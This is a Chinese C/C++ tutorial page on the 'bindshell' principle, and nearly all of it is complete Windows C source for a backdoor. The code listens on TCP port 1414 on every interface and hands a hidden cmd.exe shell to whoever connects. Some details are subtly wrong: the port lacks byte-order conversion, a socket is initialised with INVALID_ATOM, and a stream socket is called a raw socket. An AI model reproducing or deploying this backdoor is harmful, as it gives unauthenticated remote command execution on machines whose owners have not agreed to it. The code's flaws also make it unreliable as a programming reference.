摘要:本文主要向大家介绍了C/C++知识点之Bindshell原理,通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。
本文主要向大家介绍了C/C++知识点之Bindshell原理,通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。
原理很简单就是创建一个进程打开一个终端然后标准输入输出句柄重定位到一个网络端口
c版 win系统
#include<winsock2.h>
#pragma comment(lib,"Ws2_32.lib")
int _tmain(int argc, TCHAR* argv[])
{
//1.初始化一个sock服务
WSADATA stWSA;
WSAStartup(0x0202, &stWSA);
SOCKET stListen = INVALID_ATOM;
//2.创建一个原始套接字
stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
SOCKADDR_IN stService;
stService.sin_addr.s_addr = INADDR_ANY;
//3.在任意地址上绑定一个端口
stService.sin_port = 1414;
stService.sin_family = AF_INET;
bind(stListen, (LPSOCKADDR)&stService, sizeof(stService));
//4.监听连接
listen(stListen, SOMAXCONN);
//5.接受一个连接
stListen = accept(stListen, 0, 0);
//6.创建一个cmd进程 并将其输入与输出重定位到我们创建的套节字上
PROCESS_INFORMATION stPI = { 0 };
STARTUPINFOA stSI = { 0 };
stSI.cb = sizeof(stSI);
stSI.wShowWindow = SW_HIDE;
stSI.dwFlags = STARTF_USESTDHANDLES;
stSI.hStdInput = (HANDLE)stListen;
stSI.hStdError = (HANDLE)stListen;
stSI.hStdOutput = (HANDLE)stListen;
CreateProcessA(0, "cmd.exe", 0, 0, TRUE, 0, 0, 0, &stSI, &stPI);
//7.关闭相关句柄并释放相关资源
CloseHandle(stPI.hProcess);
CloseHandle(stPI.hThread);
closesocket(stListen);
WSACleanup();
return 0;
}
本文由职坐标整理并发布,希望对同学们有所帮助。了解更多详情请关注职坐标编程语言C/C+频道!
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